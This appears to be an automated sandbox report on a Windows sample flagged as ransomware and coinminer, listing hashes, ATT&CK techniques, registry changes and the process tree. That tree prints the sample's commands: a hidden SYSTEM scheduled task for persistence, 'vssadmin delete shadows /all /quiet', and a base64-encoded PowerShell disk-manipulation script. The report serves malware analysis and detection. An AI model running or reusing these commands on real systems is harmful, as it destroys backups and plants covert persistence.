c429dff0ef9281145f9835ffa53d60c6c6bff7bcb73c193b8c5e84e7dc7af05b

Analysis

max time kernel
149s
max time network
122s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 16:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe
Size 15.4MB
Sample260709-tkwe2sc16j
SHA256 c429dff0ef9281145f9835ffa53d60c6c6bff7bcb73c193b8c5e84e7dc7af05b
MD5 f3a5da3c4a281ca9466066c5d36020a3
SHA1 18c94d5e688f196b7c7ae0ea6a8e7339d8b3f6d3
SHA512 1d1ba08995c759c88943ca6cfceff7438c9ea2d6ced72098feaa8a0f05129c06f3ca39774cc086b6ab949c5dd1e04b7fb38a987af2f704664c655f47fa471ad7
SSDEEP 196608:5KDCGqzzjTIMj2GeSFl64ka0fMCT6PnyUpyv:5KkzzjTT2GE4kvQnyE
TLSH
T162F67D07EDA505E9C0AFD13185369253BB61BC4A5B2023DB2B60F7282FB7BD05EB9750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution impact ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5096	powershell.exe
1576	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_qbi0tp44.kj4.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jc0rujzt.v4m.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_wnc1ym34.uyd.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lxetyekt.epj.psm1	powershell.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6136	vssadmin.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1576	powershell.exe
1576	powershell.exe
5152	powershell.exe
5152	powershell.exe
5096	powershell.exe
5096	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe
Token: 36	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe
Token: 36	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe
Token: 36	1576	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3632 wrote to memory of 1576	3632	2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe	89
PID 940 wrote to memory of 6136	940	2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe	93
PID 940 wrote to memory of 5152	940	2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe	96
PID 3632 wrote to memory of 5096	3632	2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe	97

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$taskName = \"HlmDVToOTx\" $argStr = \"\" foreach ($a in @('--no-background')) { if ($a -match ' ') { $argStr += '\"' + $a + '\" ' } else { $argStr += $a + ' ' } } $argStr = $argStr.Trim() $action = New-ScheduledTaskAction -Execute \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe\" -Argument $argStr $trigger = @() $trigger += New-ScheduledTaskTrigger -AtLogOn $trigger += New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(3) $principal = New-ScheduledTaskPrincipal -UserId \"SYSTEM\" -LogonType ServiceAccount -RunLevel Highest $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -MultipleInstances IgnoreNew -Hidden -Priority 0 Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force Start-ScheduledTask -TaskName $taskName "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Start-ScheduledTask -TaskName HlmDVToOTx"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5096

C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a5da3c4a281ca9466066c5d36020a3_coinminer_dosia_eternalromance_frostygoop_glassworm_hive.exe" --no-background
1⤵
- Suspicious use of WriteProcessMemory
PID:940
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoAJABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAGYAdQBuAGMAdABpAG8AbgAgAFQAZQBzAHQALQBJAHMAQQBkAG0AaQBuACAAewAKACAAIAAgACAAJABpAGQAZQBuAHQAaQB0AHkAIAA9ACAAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApAAoAIAAgACAAIAAkAHAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AOgA6AG4AZQB3ACgAJABpAGQAZQBuAHQAaQB0AHkAKQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAHAAcgBpAG4AYwBpAHAAYQBsAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AEkAbgBSAG8AbABlAF0AOgA6AEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAKQAKAH0ACgAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAEkAcwBBAGQAbQBpAG4AKQApACAAewAKACAAIAAgACAAdABoAHIAbwB3ACAAIgBSAHUAbgAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIALgAiAAoAfQAKAAoAJABnAHAAdABOAGEAbQBlAFAAcgBlAGYAaQB4ACAAPQAgACQAZQBuAHYAOgBHAE8AXwBHAFAAVABOAEEATQBFAF8AUABSAEUARgBJAFgACgAKACQAZABpAHMAawBzACAAPQAgAEcAZQB0AC0ARABpAHMAawAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsACgAgACAAIAAgACQAXwAuAEkAcwBCAG8AbwB0ACAALQBlAHEAIAAkAGYAYQBsAHMAZQAgAC0AYQBuAGQAIAAkAF8ALgBJAHMAUwB5AHMAdABlAG0AIAAtAGUAcQAgACQAZgBhAGwAcwBlACAALQBhAG4AZAAgACQAXwAuAEkAcwBSAGUAYQBkAE8AbgBsAHkAIAAtAGUAcQAgACQAZgBhAGwAcwBlAAoAfQAKAAoAaQBmACAAKAAkAGQAaQBzAGsAcwAuAEMAbwB1AG4AdAAgAC0AZQBxACAAMAApACAAewAKACAAIAAgACAAWwBwAHMAYwB1AHMAdABvAG0AbwBiAGoAZQBjAHQAXQBAAHsAIABNAGUAcwBzAGEAZwBlACAAPQAgACIATgBvACAAcwBhAGYAZQAgAGQAaQBzAGsAcwAgAGYAbwB1AG4AZAAuACIAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0ARABlAHAAdABoACAAMwAKACAAIAAgACAAZQB4AGkAdAAgADAACgB9AAoACgAkAHIAZQBzAHUAbAB0AHMAIAA9ACAAQAAoACkACgAKAGYAbwByAGUAYQBjAGgAIAAoACQAZABpAHMAawAgAGkAbgAgACQAZABpAHMAawBzACkAIAB7AAoAIAAgACAAIABpAGYAIAAoACQAZABpAHMAawAuAEkAcwBPAGYAZgBsAGkAbgBlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0ARABpAHMAawAgAC0ATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAgAC0ASQBzAE8AZgBmAGwAaQBuAGUAIAAkAGYAYQBsAHMAZQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAACgAgACAAIAAgACAAIAAgACAAJABkAGkAcwBrACAAPQAgAEcAZQB0AC0ARABpAHMAawAgAC0ATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAKACAAIAAgACAAfQAKAAoAIAAgACAAIABpAGYAIAAoACQAZABpAHMAawAuAFAAYQByAHQAaQB0AGkAbwBuAFMAdAB5AGwAZQAgAC0AZQBxACAAJwBSAEEAVwAnACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACMAIABTAGkAbABlAG4AdABsAHkAIABzAGsAaQBwACAAUgBBAFcAIABkAGkAcwBrAHMAIAATICAAbgBvACAAbwB1AHQAcAB1AHQACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQAcABhAHIAdABpAHQAaQBvAG4AcwAgAD0AIABHAGUAdAAtAFAAYQByAHQAaQB0AGkAbwBuACAALQBEAGkAcwBrAE4AdQBtAGIAZQByACAAJABkAGkAcwBrAC4ATgB1AG0AYgBlAHIAIAB8AAoAIAAgACAAIAAgACAAIAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgAC0AbgBvAHQAIAAkAF8ALgBEAHIAaQB2AGUATABlAHQAdABlAHIAIAB9AAoACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcABhAHIAdAAgAGkAbgAgACQAcABhAHIAdABpAHQAaQBvAG4AcwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFAAYQByAHQAaQB0AGkAbwBuAEEAYwBjAGUAcwBzAFAAYQB0AGgAIAAtAEQAaQBzAGsATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAgAC0AUABhAHIAdABpAHQAaQBvAG4ATgB1AG0AYgBlAHIAIAAkAHAAYQByAHQALgBQAGEAcgB0AGkAdABpAG8AbgBOAHUAbQBiAGUAcgAgAC0AQQBzAHMAaQBnAG4ARAByAGkAdgBlAEwAZQB0AHQAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABwAGEAcgB0ACAAPQAgAEcAZQB0AC0AUABhAHIAdABpAHQAaQBvAG4AIAAtAEQAaQBzAGsATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAgAC0AUABhAHIAdABpAHQAaQBvAG4ATgB1AG0AYgBlAHIAIAAkAHAAYQByAHQALgBQAGEAcgB0AGkAdABpAG8AbgBOAHUAbQBiAGUAcgAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABTAGkAbABlAG4AdABsAHkAIABzAGsAaQBwACAAaQBmACAAbABlAHQAdABlAHIAIABhAHMAcwBpAGcAbgBtAGUAbgB0ACAAZgBhAGkAbABzAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAZwBwAHQATgBhAG0AZQBQAHIAZQBmAGkAeAAgAC0AYQBuAGQAIAAkAGQAaQBzAGsALgBQAGEAcgB0AGkAdABpAG8AbgBTAHQAeQBsAGUAIAAtAGUAcQAgACcARwBQAFQAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBwAHQATgBhAG0AZQAgAD0AIAAiACQAewBnAHAAdABOAGEAbQBlAFAAcgBlAGYAaQB4AH0AXwAkAHsAZABpAHMAawAuAE4AdQBtAGIAZQByAH0AXwAkAHsAcABhAHIAdAAuAFAAYQByAHQAaQB0AGkAbwBuAE4AdQBtAGIAZQByAH0AIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABnAHAAdABOAGEAbQBlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADMANgApACAAewAgACQAZwBwAHQATgBhAG0AZQAgAD0AIAAkAGcAcAB0AE4AYQBtAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADMANgApACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0AUABhAHIAdABpAHQAaQBvAG4AIAAtAEQAaQBzAGsATgB1AG0AYgBlAHIAIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAgAC0AUABhAHIAdABpAHQAaQBvAG4ATgB1AG0AYgBlAHIAIAAkAHAAYQByAHQALgBQAGEAcgB0AGkAdABpAG8AbgBOAHUAbQBiAGUAcgAgAC0ATgBlAHcAUABhAHIAdABpAHQAaQBvAG4ATgBhAG0AZQAgACQAZwBwAHQATgBhAG0AZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdABzACAAKwA9ACAAWwBwAHMAYwB1AHMAdABvAG0AbwBiAGoAZQBjAHQAXQBAAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGkAcwBrAE4AdQBtAGIAZQByACAAIAAgACAAIAAgAD0AIAAkAGQAaQBzAGsALgBOAHUAbQBiAGUAcgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFAAYQByAHQAaQB0AGkAbwBuAE4AdQBtAGIAZQByACAAPQAgACQAcABhAHIAdAAuAFAAYQByAHQAaQB0AGkAbwBuAE4AdQBtAGIAZQByAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAARAByAGkAdgBlAEwAZQB0AHQAZQByACAAIAAgACAAIAA9ACAAKAAkAHAAYQByAHQALgBEAHIAaQB2AGUATABlAHQAdABlAHIALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIAOgAiACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABQAGEAcgB0AGkAdABpAG8AbgBOAGEAbQBlACAAIAAgAD0AIABpAGYAIAAoACQAZwBwAHQATgBhAG0AZQBQAHIAZQBmAGkAeAApACAAewAgACQAZwBwAHQATgBhAG0AZQAgAH0AIABlAGwAcwBlACAAewAgACQAcABhAHIAdAAuAFAAYQByAHQAaQB0AGkAbwBuAE4AYQBtAGUAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwBpAHoAZQBHAEIAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAcABhAHIAdAAuAFMAaQB6AGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAfQAKAAoAaQBmACAAKAAkAHIAZQBzAHUAbAB0AHMALgBDAG8AdQBuAHQAIAAtAGUAcQAgADAAKQAgAHsACgAgACAAIAAgAFsAcABzAGMAdQBzAHQAbwBtAG8AYgBqAGUAYwB0AF0AQAB7ACAATQBlAHMAcwBhAGcAZQAgAD0AIAAiAE4AbwAgAHAAYQByAHQAaQB0AGkAbwBuAHMAIAB3AGkAdABoAG8AdQB0ACAAZAByAGkAdgBlACAAbABlAHQAdABlAHIAcwAgAGYAbwB1AG4AZAAuACIAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAJAByAGUAcwB1AGwAdABzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0ARABlAHAAdABoACAANQAKAH0ACgA=
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5152

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 da13c28014aeefbb075d23e366cd98de1c5fe94d600d35e0522d821ac1516121
MD5 30ff7ba2b55935a9b57bc440682e69d4
SHA1 583475dd1374d10f18af1f6478befc91eb80f7b3
SHA512 e98c17b086e3eb56408dc91d4ce55f5254da355b69b0cc40079db6429bb3114bfdf5b12a698cc697dffce1ad742f19655f4a66b7ecac2b6d4b5d34fd800bdbe4
TLSH
T1B4219833F3DC8654C899013A10CDAC1035B6C7CB41DECE9B7B84E615A03F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qbi0tp44.kj4.ps1

Path C:\Windows\SystemTemp\__PSScriptPolicyTest_qbi0tp44.kj4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1576-18-0x000001BF9FCE0000-0x000001BF9FCFE000-memory.dmp

Download

memory/1576-25-0x00007FFA8B750000-0x00007FFA8C0F4000-memory.dmp

Download

memory/1576-6-0x00007FFA8B750000-0x00007FFA8C0F4000-memory.dmp

Download

